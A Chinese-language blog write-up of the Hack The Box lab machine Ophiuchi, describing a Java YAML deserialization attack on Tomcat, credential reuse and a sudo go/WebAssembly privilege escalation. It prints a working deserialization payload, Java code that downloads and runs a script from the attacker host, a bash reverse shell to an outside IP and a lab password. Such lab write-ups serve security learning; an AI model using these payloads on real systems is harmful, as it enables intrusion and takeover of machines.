• 【Hack The Box】linux练习-- Ophiuchi


    HTB 学习笔记

    Hack The Box】linux练习-- Ophiuchi


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月27日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 
    8080/tcp open  http    Apache Tomcat 9.0.38
    |_http-title: Parse YAML
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    • 1
    • 2
    • 3
    • 4

    8080

    Parse YAML
    在这里插入图片描述死页面,啥都干不了,输入一个东西他说网站已经关闭

    目录爆破

    目录爆破命令就不写了

    得到
    /test (Status: 302)
    /manager (Status: 302)

    manager页面要求登陆

    在这里插入图片描述
    YAML 解析器在安全处理数据序列化数据方面出了名的糟糕。它会尝试将 YAML 解析为对象,这就是反序列化

    尽管该网站说它已关闭,但尚不清楚它是在尝试反序列化用户输入之前还是之后显示的。 我将尝试使用 YAML 反序列化负载进行检查。 由于服务器是 Tomcat,我将寻找基于 Java 的有效载荷。

    java-yaml反序列化

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://10.10.14.7/"]
      ]]
    ]
    
    • 1
    • 2
    • 3
    • 4
    • 5

    本地开启的python 服务器回收到信号
    说明反序列化成功
    关于yaml反序列化的利用,利用

    https://github.com/artsploit/yaml-payload
    https://github.com/mbechler/marshalsec
    
    • 1
    • 2

    修改payload,而后修改payload让他请求我们的恶意jar包

    操作

    1. 下载
      proxychains4 -f /etc/proxychains4.conf git clone https://github.com/artsploit/yaml-payload.git
      得到src
    2. 修改AwesomeScriptEngineFactory.java
      在这里插入图片描述
    3. 编译
    javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java 
    jar -cvf ping.jar -C src/ .  //打包
    
    • 1
    • 2

    得到了一个ping.jar
    在这里插入图片描述
    4. 开一个python服务器以及一个icmp监听

    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://10.10.14.29/ping.jar"]
      ]]
    ]
    
    • 1
    • 2
    • 3
    • 4
    • 5

    请求这个ping包
    我们发现本地的icmp收到了ping
    所以我们的道路通畅
    接下来修改命令来执行命令
    在这里插入图片描述
    那么这是确定存在rce,在java中,实现rce的手段我们通常选择如下利用.sh脚本的方法

    获取shell

    1. 写一个脚本
    #!/bin/bash
    bash -i >& /dev/tcp/10.10.14.196/4242 0>&1
    
    • 1
    • 2
    1. 修改java文件
    public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    
        public AwesomeScriptEngineFactory() {
            try {
                Runtime.getRuntime().exec("curl http://10.10.14.29/shell.sh -o /tmp/shell.sh");
                Runtime.getRuntime().exec("chmod +x /tmp/shell.sh");
                Runtime.getRuntime().exec("bash /tmp/shell.sh");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    重新编译打包运行

    javac --release 11 src/artsploit/AwesomeScriptEngineFactory.java
    jar -cvf shell.jar -C src/ .
    
    • 1
    • 2

    在这里插入图片描述

    tomcat ->admin

    作为tomcat用户,当前主目录是 /opt/tomcat:
    /opt/tomcat/conf/tomcat-users.xml具有 Tomcat 的用户名和密码:

    找到密码
    whythereisalimit

    su admin

    密码重用成功

    在这里插入图片描述

    admin->root

    在这里插入图片描述
    没有go的二进制提权
    看一下那个index.go文件是个什么情况

    package main
    import (
            "fmt"
            wasm "github.com/wasmerio/wasmer-go/wasmer"
            "os/exec"
            "log"
    )
    func main() {
            bytes, _ := wasm.ReadBytes("main.wasm")
    
            instance, _ := wasm.NewInstance(bytes)
            defer instance.Close()
            init := instance.Exports["info"]
            result,_ := init()
            f := result.String()
            if (f != "1") {
                    fmt.Println("Not ready to deploy")
            } else {
                    fmt.Println("Ready to deploy")
                    out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                    if err != nil {
                            log.Fatal(err)
                    }
                    fmt.Println(string(out))
            }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    他会导入几个模块,然后定义一个函数,读取main.wasm,然后放到一个新的实例,然后返回的如果不是1,就输出Not ready to deploy",如果是1,就/bin/sh", "deploy.sh,执行这个脚本

    我直接执行,没用

    sudo /usr/bin/go run /opt/wasm-functions/index.go
    
    • 1

    并且会报错,那我先找到main.wasm,然后执行一下看看

    find / -name "main.wasm" 2>/dev/null
    
    • 1

    在这里插入图片描述
    两个目录都是第一种情况
    在这里插入图片描述那么接下来就是要想办法让返回值是1

    wasm

    WASM 或 Web Assembly 是一种二进制指令格式,用于设计用于跨平台运行的基于堆栈的虚拟机。 WASM 的主要目的是在网页上拥有快速和高性能的应用程序,但它也可以在其他环境中运行。

    proxychains4 -f /etc/proxychains4.conf git clone --recursive https://github.com/WebAssembly/wabt
    cd wabt/
    apt install cmake
    make
    wasm-decompile main.wasm 
    到这里就可以生成一个main.wasm 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    将转换 main.wasm转换成 WebAssembly 文本格式(从二进制格式):

    在这里插入图片描述
    因为 Go 程序对main.wasm 的调用不使用绝对路径,所以我可以控制两者 main.wasm和 deploy.sh. 我会写一个 main.wasm返回 1 和一个 deploy.sh

    修改

    把返回值改成1,在wat中他是const后的参数
    将main.wasm 转换为main.wat以便修改

    wasm2wat main.wasm -o main.wat
    
    • 1

    在这里插入图片描述
    修改完再变回来

    wat2wasm main.wat -o main.wasm
    
    • 1

    这个脚本就很普通了,正常的一个赋权脚本

    deploy.sh

    #!/bin/bash
    
    chmod +x /bin/bash
    
    • 1
    • 2
    • 3

    传输到靶机/tmp目录

    然后给当前目录临时写进环境变量

    export PATH=/tmp:$PATH

    在这里插入图片描述脚本失效?nonono,我忘记赋权了
    chmod +x

    在这里插入图片描述截图是我尝试写入ssh密钥
    用上面的脚本直接/bin/bash -p 即可

  • 相关阅读:
    Qt5开发从入门到精通——第四篇(消息对话框类)
    mysql-面试题
    打造千万级流量秒杀第二十课 etcd 实战:如何使用 etcd 存储配置信息?
    Mybatis-plus 学习分享
    基于C语言的词法分析程序的设计与实现
    记一次 处理MIUI 13 疯狂杀进程问题
    使用module.less方式引入的文件覆盖antd组件默认样式(react)
    Docker
    【踩坑专栏】禁止kafka自带的日志
    探秘前后端开发世界:猫头虎带你穿梭编程的繁忙街区,解锁全栈之路
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/128005893